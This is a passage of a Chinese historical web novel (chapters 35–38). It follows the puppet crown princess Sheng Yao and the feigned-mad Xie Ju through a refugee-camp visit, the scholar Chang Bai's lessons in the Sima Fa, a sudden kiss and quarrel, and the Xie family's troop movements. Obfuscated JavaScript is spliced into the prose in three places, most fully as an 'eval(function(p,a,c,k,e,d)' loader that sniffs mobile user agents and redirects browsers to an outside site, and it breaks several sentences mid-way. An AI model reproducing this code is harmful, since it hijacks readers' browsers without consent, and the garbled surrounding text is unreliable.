不仅有教谕,还有失去土地的小地主、败落的商户。都有一个共同点:识字,有怨气,且很能说会道。被喂饱了饭,哭得那叫一个肝肠寸断。 这些人穿上了像样的衣裳,面前铺开白绢。 “这血书……”盛尧指着底下,“是不是太红了点?” “鸡血。”卢览在她身后,扫一眼,“人血太稠,容易凝固,写不了那么长篇大论的冤屈。谢家二公子让人宰了三十只鸡,管够。” 盛尧啧啧称奇。她再看那文书, 好一篇雄文!从田昉横征暴敛写到纵兵抢粮,这还算是实话。再往下看,味儿就不对了。 “名为变法,实为掠夺”,唔,这是斥责;“毁坏宗庙”,这顶多也就是拆了两个土地庙;至于“挖掘祖坟、令人曝尸荒野”——盛尧寻思田昉好歹是一方州牧,得多闲才能去刨人家祖坟? 当然这不重要,朝廷的诏书就下来了。 措辞之严厉,简直是指着田昉的鼻子骂街。大意是你田昉身为成朝老臣,却把治下百姓逼成了流寇,甚至冲击到了太庙祭祀——虽然冲的是猎苑祭礼,但反正里头是有祖宗——总之大不敬!无能!残暴! 鉴于你岱州养不起这些人,皇太女替你养! “诏令岱州割让边境平原、阳邑、临墉三城,作为安置流民之所。” 看到这条诏令的时候,盛尧都磕巴了。 “三城!”军事重镇,也是产盐的富庶之地,田昉就是把脑袋割了,也不可能把这三座城割了。 “他是傻子才会答应。”盛尧评价。 “……师出有名。”中都城隐匿的茶肆,庾澈招待时,殷勤地与她满上茶盏,“谢丞相这步棋,下得急些。” 盛尧皱眉,“那这些流民怎么办?真送回去?” “送。当然要送。” 庾澈从袖子里掏出一份军报,扔给盛尧,“殿下看看,谁去送。” 盛尧打开一看,倒吸一口冷气。 奉命“护送”流民返乡复田的,是抚军将军,谢丞相的长公子,谢承。 随行……整整五千精锐步骑! “五千兵马,护送三千流民?”盛尧只觉得荒谬,“一个流民配两个保镖吗?真的把流民送回岱州?” “殿下觉得呢?”庾澈反问。 盛尧想想中都军,摇头,“这五千人,只要踏出了司州地界,到了那三城底下,还会走吗?” “真厉害啊……”盛尧喃喃自语,这次是真心的,“这就是……权相。” 兵马未动,粮草先行;粮草未行,大义先至。 嗯,献获礼上,那个踉跄的身影,和那在紫色袍袖上洇开的一点暗红。这位权倾朝野的老人,一生都在筹谋。如今,在筹谋自己的命。 他在抢时间。 而庾澈、高昂,甚至是远在西川的繁昌王,南边的云梦侯,都在等着这头狮子咽气,他一死,天下大乱。 “走了,”她跑下楼梯,头也不回地对庾澈喊, “殿下去哪?”庾澈还想要留她。 “去看看流民。”她说。 庾澈不怀好意。盛尧清楚得很。说不定明天谢巡咽了气,高昂的兵马就要南下。 但这有什么要紧?她平生都活在这样的危机之中,如果非得要别个剖心剖肺才能用人,那她早不晓得死了多少次了。 毕竟自己家里还养着一只危险而叵测的鱼。 中都麒麟很是古怪。明明性情懒散,恨不得每日十二个时辰都盘在卧榻案几上打盹,但这许多天,谢琚却将她跟得更加紧了。 盛尧不晓得为什么。反正目前这个情况,自己被废了他也难办,因此随他去。就只是那些流民,不管谢充怎么报说无事,心里总归挂念,得找个机会私下进去瞧瞧。 “二哥的人把守着各个路口。你想钻狗洞么?” 谢琚站在猎苑墙边一处不起眼的偏门前,看着盛尧猫着腰在那比划墙根底下的排水沟,十分嫌弃地皱起眉。 盛尧被噎了一下,拍拍手上的灰土。钻狗洞嘛,倒也不是不能钻,小时候被关在别苑里无聊的时候,什么犄角旮旯她没钻过? 但是……既然现在是手格野彘的皇太女了,多少还是要点体面的。 “你有办法?”她狐疑地看着他。 谢琚微微一笑,从袖子里掏出一块乌沉沉的腰牌,指尖轻巧地转了一圈。 “少府卿,是个雅人。” 盛尧没太听明白。少府卿,那个因为她分了太牢肉,差点当场气晕过去的老古板头子,是个雅人? 很快她就明白了。 当她战战兢兢地跟在谢琚身后,大摇大摆地走向通往流民营的一处偏门时,并没瞧见凶神恶煞的虎贲军,就见着几个少府服色的宦官和小吏。 这些人一看是谢琚,脸色立刻更变。表情很难形容,既像是见到了鬼,又像是见到了必须要供着的祖宗。 谢琚也没说话,将手里那个不知哪来的腰牌晃晃,又指指身后做了乔装打扮的盛尧。 “挑祭品。”他温和地说,“这次不要猪了。” 几个少府的小吏看着谢四公子精致的脸,齐刷刷地打了个寒噤,二话没说,立刻让开一条路,居然还有个殷勤地在前面把挡路的杂物踢开。 “公子请!您请!” 是把他们当瘟神送啊。 直到走出了好远,那种诡异的恭敬感被抛在身后,盛尧才回过神。 “他们怕我。”她眼神实在不对,谢琚跟在她后面,走在泥泞的小路上,与她解释。 “怕你?为什么?”盛尧更加费解,“少府卿虽然是丞相门生,但也算是九卿之一,怎么怕你怕成这样?” “因为那头猪。”谢琚语气平淡,“我让他们连夜给猪梳了五十遍毛,每一根都要顺滑发亮。有一个小吏偷懒——” 他稍稍停顿,轻描淡写, “我让人把他挂在猪旁边,让他给猪唱了一晚上的《驺虞》。” 盛尧:“……” 看着眼前这个长得神仙似的青年,后背发凉。给死猪唱“壹发五豝”的雅乐赞歌……这确实是正常人干不出来的事儿。难怪少府的人见了他跟老鼠见了猫似的。 毕竟是谢家疯了的公子。办事不需要理由,也没人敢问。他能因为一头死猪这么折腾人,谁知道下一刻会不会因为别的事把人给埋了? 怪到是人人都不来问他,盛尧默默离他远了半步。 刚迈出脚,脚下忽然一滑。 这条路通往猎苑外围的沼泽地,前几日积雪刚化,满地烂泥。盛尧身子一歪,眼看就要摔个狗啃泥。 手腕却被人一把拽住。 这一拽很用力,几乎是把她整个人拎了回来。 “小心。” 声音有些紧绷。 盛尧站稳,正想道谢并让他松开,却见那只修长有力的手并没有松开的意思,顺势下滑,扣住她的手背。 “全是泥。”谢琚皱着眉,“阿摇,你会摔倒的。” “我不会……” “你会。”他说,“你总是往危险的地方跑。掉下去就脏了。” 盛尧挣了两下没挣开。 算了。她想。毕竟他愿意做养在深闺……不,养在相府的娇贵公子。 “行行行,我拉着你,我保护你。”盛尧叹口气,反手也抓住他,“别怕,这路我知道。” 谢琚的睫毛微动,没说话,只是更加跟在她身侧,连腕间的铃铛声都染上了某种焦躁的急促。 两人就这样跋涉般地穿过小路,盛尧心里做贼的心虚感忽然就淡了些,多出来一种…… 有人陪着一起做贼的踏实感。 越往里走,人声便越鼎沸。 曾经的禁苑帏宫,如今变成了一个充满烟火气的巨大营地。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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远处不知是谁先跪了下来,一个,两个,一片,两片。 在泥泞的雪地上,被视为草芥驱赶的人们,朝着她的方向,重重地磕头。盛尧僵在原地,手足无措。 自个儿在太庙受过百官朝拜,在猎苑受过三军欢呼。可从来没有哪一次像现在这样,沉重得让她几乎喘不过气。 几千条命啊。 皇太女,她这个自身难保的泥菩萨,居然真的把这几千条命,从阎王手里抢回来了。 就在她百感交集地看着这些人的时候,人群之中,一个身穿破旧长袍,被个总角童子搀扶着的老者,颤颤巍巍地站起身。 老者须发皆白,身形佝偻,没有像其他人那样跪拜欢呼,还努力挺着一根也不怎么直的脊梁,在小孩儿的搀扶下,一步步挪到土坡边。 老者瞧了她几眼,又盯着谢琚看了半晌,忽然长叹一声,摇摇头。 “谢四公子。” “沧海桑田,世事更变。没想到当年意气风发的中都麒麟,到头来,竟然真的做了皇后。老朽……惭愧啊。” 盛尧惊讶,转头看谢琚。 谢琚神色却很淡。一语不发地行了一礼。 “老丈认得他?”盛尧上前半步,将谢琚挡在身后,警惕地看着这老者。 “怎会不认得?”老者苦笑一声,并不回答,就手一礼,“草民岱州常柏,见过皇太女殿下。” 常? 盛尧忽然想起,“常?梧山凤凰,都中麒麟,是你说的?” “是舍弟。”老者费力地转回身,朝那小孩摆摆手,道,”辟雍宫被拆时,生生气死在明堂前,倒没有福分见到殿下。“ 辟雍宫,是昔日征辟人才所用。 “舍弟忝为辟雍宫祭酒,品评策士。看人的眼光是一向准的。可惜……他这次大概是看走眼了。”他看着谢琚,叹道,“凤凰择木而栖,尚在山林;麒麟……陷于泥淖,却已成裙下之臣。” “也没什么。”盛尧试着振奋,不太喜欢听这种丧气话,“时移世易,人各有志,男的当皇后也没什么不好,不比当流民强吗?” 老者一怔,似乎没想到她会这样说,继而抚须大笑。点点头,便即问盛尧,谢丞相是否已经发兵岱州? 盛尧十分出乎意外,没想到这被困在流民中的老者,居然对时势如此清楚。 但诏令田昉是遍告天下的事情,她也不瞒着,扶老者坐下,却见他摇头说,不可能仅让长公子谢承去,丞相要打岱州,长途奔袭要务在于粮草。 “五千人,攻城略地不够,护送流民又有余。”老人看着她沉思,显得赞许。 不是要攻城,是要三个辎重能行的隘口。到了就要开始屯田。 “可这是‘步步为营’的老成之策。”盛尧说,“谢相年高,打不动急仗了。” 实际上,她忐忑地想,恐怕谢巡的身体状况确实打不了仗了。那么长公子在外屯田,谢氏司州防务大权,谁去担当? 谁又来“接手”她这个傀儡皇太女? 盛尧心里难受,觉得这事儿不是她一个人琢磨得透的,“老先生在岱州辟雍的时候,”她问,“五经六艺,先生是教习什么的?” 老人沉默一瞬,抬眼看她, 是个女孩儿啊……实打实的女孩儿。 盛尧等了半天,好在她这憋屈太子当习惯了,此时也不着急,过了好久,老者才终于拉着小童站起身, “战必胜,攻必取,” 他整敛衣袖,侧身避开盛尧的搀扶,更刻意地避开了似乎想要伸手帮忙的谢琚。 谢琚皱眉,冷淡地收回手,见老者坚持自行向盛尧深深一揖, “方圆战阵之学。《司马法》。” 36. 失宠的感觉 那日之后,岱州大儒常柏入皇太女府的消息,简直可以说是不胫而走。 士子们有了谈资。原本被视为谢氏傀儡、仅得一则荒唐“阴阳”谶纬傍身的皇太女,忽然添了一则礼贤下士的传闻。如今有常老先生坐镇别苑西席,虽未受官职,但名为讲学,实为辅佐。 消息传开,多少人的眼神变了。皇太女的幕府,似乎真的变成一个能容得下“正经人”的地方。毕竟这个世道,谁也不好说自己会不会一朝落为流徒。 而常老先生的教习也很有意思,盛尧聚集了郑小丸她们一堆内卫,有男有女,可多半不识字,这辈子不晓得先生是什么的,就只人人都不好意思直说。 反倒是老先生先与他们说来,行军布阵嘛,倒不必须是些文法大家。如何生灶,如何进兵,几鼓进,几鼓退,解决得了吃饭的家伙和行路的问题,几乎就可算得上半个好将领。众人这才都开了心了,安心跟着习学。 但对谢四公子来说,此时皇太女尊师重道,简直就是个灾难。 ——他的阿摇,不见了。 按照中都麒麟最初的谋划,此刻是午憩时分。太阳正好,应该透过窗棂洒照着案几。他那只捡来的“主君”,应该正趴在案前,为了某一笔开支或者某个人名,愁得直揪头发。 这时候,谢琚便可以舒舒服服地将下巴搁上她的肩膀,或者挤占案几,享受皇太女中宫的便利。 等她头发揪得差不多了,再时不时动动手指,指个方向,欣赏她恍然大悟后崇拜的眼神。 少有韬略,出身势族,因此绝不可能委屈自己一点——既然不得已给她做了中宫,这可是他好不容易挖掘出来,做个幕后者的趣味。 然而没人了。案几空着,头发没人揪。 “中庶子,”老黄门令见他就十分紧张,“殿下正在西偏殿听常先生讲学,特意吩咐,不许任何人打扰。” …… 这就是失宠的感觉吗? 谢四公子对此感到十分新奇,也十分的不以为然。 他一振衣袖,站在廊庑的背风处,冷漠地看着天上的云卷云舒。 这很荒谬。 先生来,先生去,南边的野鸡是个先生,这老头子也是个先生,讲讲道理,怎么就他是条鱼呢? 没有脑子,只会吐泡泡。历代遭逢天灾,许多皇帝都会开启皇家苑囿分给贫民。但在这档口收敛流民,不是一件好玩的事情。 “一群蠢材。”他对着空气,头也不抬,“都被她捧到天上去了。” 岱州失田者众多,中都有了这个名声,必然被人混杂流寇兵卒,那才是真正棘手的形势。 出身世家的老头儿,为什么会授习兵法?自然是因为世家大族结兵自保的需要。 岱州的辟雍宫,她再怎么也该是知道的,天下士族,没有人会不知道,乃是大成王朝立国之初便设立的学宫,已历二百余年。其制外圆内方,四面环水,象征王道教化流布四海。鼎盛之时,弟子三千人,天子也需得一年两度亲临,行“视学”之礼。 岱州当地民风,颇以辟雍为傲,州牧治理地方,也多辟雍出身,因此早年有“岱州臣理,辟雍建直”的盛誉。 而如今依靠学宫维系的官吏拔擢制度瓦解,辟雍也被毁掉,礼乐崩坏。为了在乱世中生存,士族开始修筑壁垒,将同宗同族聚集起来,结寨自保,操练兵阵,这便是坞堡。 谢琚原先打算拖。拖到父亲过世,天下大乱。皇太女是个必须死的幌子,等他谋划好退路,就把靶子一扔,自然所有的箭都会射过去。 但现在不同。兔子比预想的要坚韧聪明。居然有了一些人正儿八经地辅佐。 她若是真能在诸侯环伺下多撑些时日,那么,天下的眼光会被她吸引。权力的旋涡会围绕她旋转。 谢充会盯着她,谢绰会盯着她,高昂会盯着她,全天下都将盯着他的小皇女。 谢琚非常生气,既生她的,又生自己的——当然主要是生她的——偏离了他本来的筹划。 得走了,找些途径从这里离开,皇后嘛,谁爱做谁做去吧。 转过一处月洞门,正巧撞见个端着漆盘的宫人。 宫人突然见这么个人物挡在路中间,吓了一跳,盘子险些失手,慌忙行礼:“见过中庶子。” 谢琚扫视前后,悠闲地问她: “殿下回来了吗?” 冬日阳光照见,茜色衣袍盈然发光,青珊瑚耳坠悬挂着垂落,显得有些宛转忧思。 “殿……殿下在……在后堂……” 见这女孩结结巴巴,脸一下红了个透。 谢琚略作沉吟,心里被冷落的郁气,稍微散了那么一点点。 看吧。还是有用的。 美玉琼琚,少许笑一下,或者站在这里,就能把人迷得七荤八素。依然是“祸乱朝纲”的水准。 ——那为什么那只兔子现在对他视而不见了? “后堂。多谢。” 他也没多留,越过那个还在发愣的小宫女,依然一副安闲公子的做派,径直往后堂走去。 * 还没等谢四公子迈进后堂。 让他生了几天闷气的罪魁祸首,忽然像从云头掉下般,提着裙角,气喘吁吁地从另一边廊下撞了过来。 “鲫鱼!” 盛尧一眼就瞧见那一抹茜色。 满院萧瑟的冬景里,这人就站在那儿,红衣如火,容颜似雪,漂亮得简直像是要烧起来。 就只脸色不大好看,瞧着又暖和,又冷,沉静的冷淡几乎要把周围的空气都冻住。 少女朝自己奔过来,谢琚脚步一顿,转过头,不去看她。 “殿下忙完了?” 丝毫不迎,眼尾便显出几分恰当的凉薄。盛尧急急刹住脚,压根儿没管他的冷嘲热讽,当先一把拽住衣袖。 “我来找你的。” 她跑得有点急,鼻尖上渗出一点细汗,却只是看着他,好似怕他真的如流云般散去。 “找我?” 谢琚问道,“怎么不继续听那老头子讲《司马法》?中庶子这种闲人,哪敢劳驾殿下亲自来寻?” 酸。酸得能把别苑的腊梅都给腌入味儿。 盛尧怎么听不出他话里的刺,要是换作平时,大概顺着他的话头把他哄一哄。可今日不同。 她松开手,却不退开,上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947604|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前一步, “我是要同你说件事。”盛尧缓一口气,显得郑重,“这两日,是我不好。” 谢琚冷淡地垂下眼睫,就对上她的手。前几日拉弓留下的伤还没好全,缠着的白布上隐隐透着点药渍。 “之前的时候……”盛尧觉得这话有些难以启齿,谨慎地窥视他的脸色,“常老先生年纪大了,有些读书人的迂腐气。他说的话……你是不是气得不行?” 啊,是这样……还以为是什么事。 常柏说他“沦落泥泞”,“裙下之臣”。 “哦。”青年漫不经心地应了一声,“随他说去。” 大概觉得这些后宫的妇人行径,配不上被人盛赞过的麒麟公子名声,连带天下士族,一起丢了脸。 但他们懂什么?身为名门子弟,公开宣称要当皇后,这是谢四公子精细考量过,最彻底的政治自绝。 可谓对才华最仁慈的抹杀,谢家四郎不再有威胁。只要一个人还是‘皇后’,他就永远当不了‘将军’。 “那不行!”盛尧大怒,又拽住他的手, “我细细与老先生说,我不觉得,” 她挺起胸膛,在猎苑里手格野彘的那股子悍气又回来了, “不管怎么说,想当皇后,是吧?” “人生在世,许多事情生不由己。我都当过太子,我短命的哥哥也没得选就去了。”她说,“……咱们这样的人,活在这世道上,能自己选的事情本来就不多。” “既然这么多事都不能遂意,难道连这区区一个虚名,还不能随心所欲一回吗?” “如果你愿意,”她斩钉截铁地说,“你给我做皇后。” “虽然我只是个傀儡,但我就想要我身边尽量多的人,想做什么,就能做什么。” 冬日的阳光很薄,她眼里的光却很盛。 是这个意思。 谢琚被少女盯着,见她紧紧攥着他身上名贵的织金缎子,仰着脸。 好似胸口忽然被她又闷闷地碰了一下,有些柔软,怒火退去,郁愤升起。 要帮他遂意。 谢琚开始惊慌。 是他显露得不够清楚吗?她难道真的把他当成了一个心智不全的可怜人?还要拼尽全力地想要呵护他那点士族尊严? 又落下些许恐惧。 “阿摇。” 辗转半晌,谢琚叫了她一声。 听见声音有点哑,仿佛被什么东西蛊惑了似的低柔。 他想说你真是个傻兔子,那都是骗你的,这个荒唐的皇后谁爱当谁当。 但又觉得她知道,因此更恐惧了,什么都没说出来。 谢琚反手,抽回自己的手。 盛尧以为他又在生闷气,不免担心,追着正想再解释几句。 却见他仰起头,转回眼角看她, 天色一暗,一时人影忽然压了下来。大约真的被蛊惑了,鬼使神差般地, 低低叹了声,俯下身。 珊瑚坠细碎地摇动,眼前茜色倾覆。狐裘的暖意熏熏,携着身上点染的安息香。 春水乍溶,桃花开遍,青年微湿的嘴唇,猝不及防地触上她的唇边。 37. 绝不 双唇相接,还不及有什么缠绵悱恻的深意,自唇角一蹭。正要细微地碾磨,立时就被主人匆忙收了回去。 谢琚霍地直起身。 世界静止。 盛尧也蒙了。愣在原地,仍旧是仰头的姿势。抬起手指,在嘴唇上摸摸。 刚伸手,谢琚就一把推开她,深吸两口气,好像这算是什么冒犯。 青年愤恨地盯着她的嘴唇,又慌忙移开视线,喉结上下滚动,耳廓上周回萦绕起薄红,刹那间就漫到了脖颈。 “你……”盛尧结结巴巴。 “我……”生平第一次,才思枯竭,哑口无言。谢琚退后半步,十指握得发白。 冬日冷风一吹,茜色袍袖翻飞簸荡,冲上头的蛊惑劲儿恰似潮水般退却,留下一片狼藉的理智。 疯了。谢四公子僵硬地站在那里。这回大概是真的疯了。 “不是,” 可还没等那绝世的机变转过弯,盛尧看着眼前仿佛受惊吓的“中宫”,抢先反应过来,大惊失色地摆手, “我不是这个意思!” 谢琚一怔,眼神微动。 “也不用……不用非得出卖色相来讨好我!”盛尧见他尴尬,心中内疚,满溢出一种想要在那颗漂亮脑袋上胡噜两把的怜爱。 “你若是只想当皇后,要个名头就好。不用……不用非得做这种……事!” “……” 谢琚原本因为那个半遂不遂的吻而泛起薄红的脸颊,几乎是在霎时间,红意罄尽,变得惨白。 紧接着,惨白底下,又不可抑地翻涌起羞愤欲死的铁青。 出卖色相?讨好? 她在说什么鬼话?美玉琼琚,中都麒麟,需要强迫自己去亲一个没长开的黄毛丫头来固宠吗?! 谢四公子一向自负,傲慢得很,也万分聪明。正因为聪明,所以现在连骗自己都变得如此艰难。 “为了讨好你?”声音都在发抖,尾音上扬, “我知道你不是!”盛尧赶紧安抚,“所以我才说不用勉强!咱们可以只是名分上的……我绝不会跟别人说你……” 说你为了当皇后还要勾引主君。 话虽未尽,意已昭然。 不用做这个。 不。是。那。个。意。思。 莫名的羞耻感,混合着遭到误解的恼怒,还有一丝丝被她这种“哪怕你是个废物我也要照看你”的决心,激起的诡异熨帖,沿着脊背,至于颈间,宛转着附绕而上。 谢琚绝望地低下头, 说不出口。哪怕把刀架在他颈上,谢四公子也绝不可能跟个棒槌解释说:“我不为了当皇后,我是自己愿意的。” 简直好似秦楼楚馆的花魁,明明是自己想跟穷书生走,结果穷书生一脸正气:“姑娘请自重,我虽穷,却不能以此玷污姑娘清白,必定为你赎身放良!” 或者更悲哀一些,“我花银子赎了你,是看你可怜,想让你从良,你怎么还要恩将仇报以身相许呢?” 好大一座贞节牌坊! 把他作为男人的尊严和名公子的风骨,全都给砌死在了里头。 …… 我要杀了她。 我一定要杀了她。 如果不杀她,我就现在、立刻、马上自刭! 可此时此刻,若是死了,她又会不会哭得很伤心? 但是等她哭得伤心之后——谢氏子性烈,慕君,荐枕席未果,以死明志。谥曰:贞。 太可怕了。 这也太可怕了。大概能把他气得活过来。 几年以前,谢四公子生得过分好。俯仰谈笑,顾眄纵横,名满天下的时候,嘲讽过几乎半个中都的士族。再出格的举止,也被人当作落拓风流称道。 如今,谢琚扬起头,望着天,悲哀地发现,自己装疯避祸这许多年,居然还是羞耻的,甚至可以称得上矜持。 迟来的、如同回光返照般的羞耻心,在此刻达到了巅峰。 “闭嘴。” 他从齿缝里丢出这两个字。 盛尧见他脸色苍白,以为是被自己说中了痛处,更加内疚,刚想上前安慰两句:“其实你要是觉得委屈……” 谢琚已经不想再听她说哪怕半个字了。 铮——! 一声激越龙吟。 盛尧腰间一轻,还没看清发生了什么,就见剑光从眼前划过。 咔嚓。 细雪弥散而下,纷纷扬扬。 身后一株腊梅树,碗口粗细的梅树枝干被他一刀两断。 梅花花苞也伴着积雪震荡坠落,落了两人满肩满头。 恰似给这位进退失据的名门公子,披上一层凄凉的白霜。 茜衣猎猎,青年持剑而立,迎着满身扬扬洒洒的杂雪白梅,神色却想要杀人般的阴沉。 他握着剑,手指青白,手背上青筋暴起。剑尖指着那棵倒霉的断树, “没发生过!”他厉声道。 盛尧眼睁睁地见他转过头,眼角浸满暴烈的红氛,“谁也不许提!” 谢琚猛一转身 剑被狠狠往地上一插,剑身入土三分,嗡嗡震颤。 青年冷且傲慢地扫一眼那棵无辜的树。 “长歪了。” 他复又温柔和缓地补充。声音却有些沉哑,仿佛这颗树就是世上最可恨的仇人。 盛尧看看刚才还挺拔端正、现在秃了半边的梅树,又看看满脸杀气的谢琚。 “……哪里歪了?” 谢四公子甚至不愿意多横她一眼,好似生怕自己忍不住再砍点什么。一振衣袖,转身就走。 背影看起来充满了被侮辱后的悲愤。白狐裘散开,在身后曳着翻飞,腕间铃铛叮铃乱响,每一声都透着暴躁。 脾气好差,性格好差。 佩剑卷刃了,盛尧扶扶额头,弯腰正准备去捡,突然见这已经走出月亮门的茜色身影,在门口站了会儿。 似乎在进行什么极为激烈的天人交战。 谢琚转过身,又走了回来。很快,带着风,几步行到盛尧面前,惊得她赶紧直起腰。 “怎么……?” 青年沉着脸,自上面睨她。昳丽的脸庞失了方才的颜色,只余折冰般的锋锐。 “殿下。”阿摇都不叫了。 “父亲……大约撑不过这个冬天。” 盛尧点点头,记起那天祭台上的呕血,他果然早就晓得的,远在翼州的凤凰料到了,深处漩涡的麒麟怎么会不晓得。 “长兄在外屯田,二哥和三哥势必有一场恶斗。高昂在北,盛衍在西。” 谢琚看着她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954947|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “现在的形势,比你想象的差一万倍。” 他朝她逼近一步,盛尧不想与他争执,下意识地后退,后背靠上廊柱。 “别总想着别人,也别指望什么‘阴阳合德’的鬼话。” 说得刻薄,这一步逼得太紧,青年几乎是俯下身来,盛尧眼前一黑,话音未落,一只修长的手已然探至眼前。 那只手就在她额头虚悬,呈现出一种冷玉般的苍白,此时他垂着头,两人的视线绞缠在一起。 盛尧从未在这个距离看过这双眼睛。 这眼睛十分有欺骗性,眼头如钩般微微下压,柔和靡丽,顺着轮廓向后延伸,到了眼尾处,线条戏剧性地忽而一收,肆意地扬起上挑的弧度。 不动声色时,双眼挽着睫毛垂落的阴翳,显得幽深多情,可偏偏此刻动了怒,原本凌厉斜飞的眼尾,便浸出胭脂亦或是泪痕似的残红。 还没等盛尧从这美色中回过神,谢琚忽然伸出手指,极其无礼地,在她额头上狠狠戳了一下。 力道之大,戳得她脑袋往后一仰,脑勺磕上廊柱。 “趁着现在还没乱,早些筹划后路。把你的‘天命’——我,想办法扔了,带着你的钱和人,有多远滚多远。” 他迟疑一下, “别死了。” 青年后退两步,收回手,好像终于耗尽了所有的耐心,转身就走。这一次,步履决绝,再也没有回头。 盛尧捡起卷刃的佩剑,站在雪地里,看着身影消失在长廊的拐角处,只留下一串铃声。 “……歪了?”她沉默,想了半天,最后疑惑地看一眼梅树。 每一步都走得很重。 谢琚冷着脸,心里头漠然地指责自己。 说得太多了,又显得太关心了。 但他的“主君”皇女,被困守禁苑十年,此时蓦然对上谢氏这种久战之族,恐怕压根不晓得军权究竟是个什么模样。 谢琚是晓得的,自幼浸润,可以说非常熟悉。历朝历代,军权以军制为基。大体分为三个层级,一是征发,二是调遣,三是部署。 二哥被任用为司隶校尉,居于“征发”职权。控制司州三辅的卒伍拣选,乃是徒隶军之所以能够成军的依仗。而三哥宿值禁中,又早早封了县侯,方便他领取“调遣”的指挥权。 至于最紧要的“部署”权责,便是白旄黄钺的高位,被父亲握在手中,长兄因此在外戍守,奉的是帅令,全不是普通的调动。 这般制衡之策,是否有间隙可乘呢? 麒麟的谋划,认为大略是有的。 顺人心之理,变化发迹,则无幽不可测,是筹策达见的根本。 但这并不是谢琚想要的,或许是阿摇想要的。可他只需要她再撑得久一点,并不打算真的将她辅佐成一个统帅,或者皇帝。 毕竟,这事儿——居然!还有除了他之外的别人上赶着去做? 谢四公子冷淡地想。 这已经是最后一次。 绝对是最后一次。 他振了振衣,拂去身上沾染的落花。阿摇最好指望凤凰发发善心,或许那叽叽喳喳的小圆脸和老头子能给她筹措得明白。 否则哪怕她明天就被人绑了,哪怕她哭得昏死过去,他也绝不可能、绝对不可能再给她谋划半个字! 绝不! 38. 八百里加急 这是两回事,盛尧在雪地里站了一会儿。 手里握着卷刃的佩剑,看着地上的断梅和乱雪。 其实半个时辰前,她从西偏殿急吼吼地冲出来找他时,并不是为了安抚他的“皇后”名分。 半个时辰前,西偏殿内。 老先生跪坐在席上,面前摊开几枚木制的兵马。盛尧坐在他对面,刚才那节关于行军生灶的课讲完了,两人却不曾动。 “殿下觉得,为人主君,选择将领的时候,什么最重要?”常柏问她。 盛尧想想:“智谋和才干吧。像古之韩信、白起那样。” 常柏点点头,又摇摇头:“智谋才干,可以,但不足以让主君安枕。” “那就是大义和忠诚?”盛尧又问,“师出有名,或者是世代忠良呗?” “最好有。”常柏苦笑一声:“没有的也很多。” 她就是那个“大义”本身,可她现在也不过是个空架子。 “看人,”盛尧双手一拍,“军权是由人组成的。” 常柏好似对她的颖悟十分满意,提起旁边削兵马剩余的树枝, “好似殿下种一棵树。根部初生的时候,或许依赖土壤肥沃、树种优良,也就是才能和德行。但到了大成现今这般枝繁叶茂,盘根错节……” 老者将枯枝折断,把两个断口搭在一起。 “在于‘关系’,和私下的交易。” 盛尧想起前几日在酒楼里“卖官”,想起跟乌远的那些黑话。 “啊——就是……生意?” “差不多。”常柏道,“丞相能压住众人,因为他是这棵大树的主干,所有的养分都得经过他。” “为什么立您为储,天下议论纷纭,但您身边的都中公卿却不敢异议?因为中都安稳,经营多年,大家都有姻亲把柄,都盘在这一张大网上。” 老者又说, “方圆攻取,战阵杀伐,是老朽所长。这些细微的伐谋递交,我却不如人。但殿下颖慧,想必知道什么才是维持现今中都这棵朽木不倒的钉子。” 盛尧盯着那断裂的树枝。 自己在西市酒楼的那场“黑吃黑”。乌远把钱给她,就是因为觉得她在“谢家兄弟争权”这个巨大的关系网里,占有一席之地,能给他提供“保命”的价值。 没有大义,没有忠诚,甚至连对方是谁都不知道,但这笔买卖,却做得最是牢靠。 很是。她点点头。 “那么,现下谁在这关系和交易的正中间呢?”常柏看着她。 盛尧:“我。” “我是这朝中最奇货可居的物品。谁拿到我,谁就有了‘大义’的招牌,可以去做更大的生意。” 轮到常柏惊讶了,对于她的通透。 “至于关系……” 盛尧说,“是谢琚。” “他是谢巡的儿子,谢充、谢绰的弟弟。在谢家的内帷,也在皇家后宫。现下是士族的议论中心。他就是朝中一个死结。只要拉动这个结,整个网都会跟着抖动。” “如果我只把他当个疯子养着,那我就是真傻。”盛尧跳起身,跺跺跪麻了的腿,“先生说得对。要想动这棵大树,我得拽动这个死结。” 她要把他拖下水。 让他不能再在岸上悠闲地看戏,不得不和自己绑在一起,来换取她的生存。 盛尧回剑反鞘,咔哒一声。 冬狩时,谢氏中都军的精锐威武,实在很是令人羡慕!与常老先生习学时,便常常幻想,能指挥这样的军队,是个什么感觉? 我也想要。盛尧琢磨。 既然我这个“货物”都准备好, 盛尧提起裙摆,踩着落雪梅花里谢琚留下的脚印,一步步跳着往回走。 那咱们这笔买卖,就已经强买强卖,钱货两讫了。 * 不过,这支被皇太女心心念念、视作精锐的中都军,此刻在司州外,却并没有她想象中那般威风。 司州东北,与岱州接壤处,古称平原津。说的是地势从此由平衍转为崎岖,太行余脉如断裂的脊骨,自西北斜插而入,将本来开阔的原野切割成几块。 平原、阳邑、临墉三城,呈品字形扼守在这山川孔道之上,互为犄角,正是进可攻、退可守的兵家要地。 皇太女公开宣抚流民之后,抚军将军谢承统领五千步骑,顺势奉命“护送”流民至此,其实意在屯垦,抢先压制东进岱州的粮道咽喉。 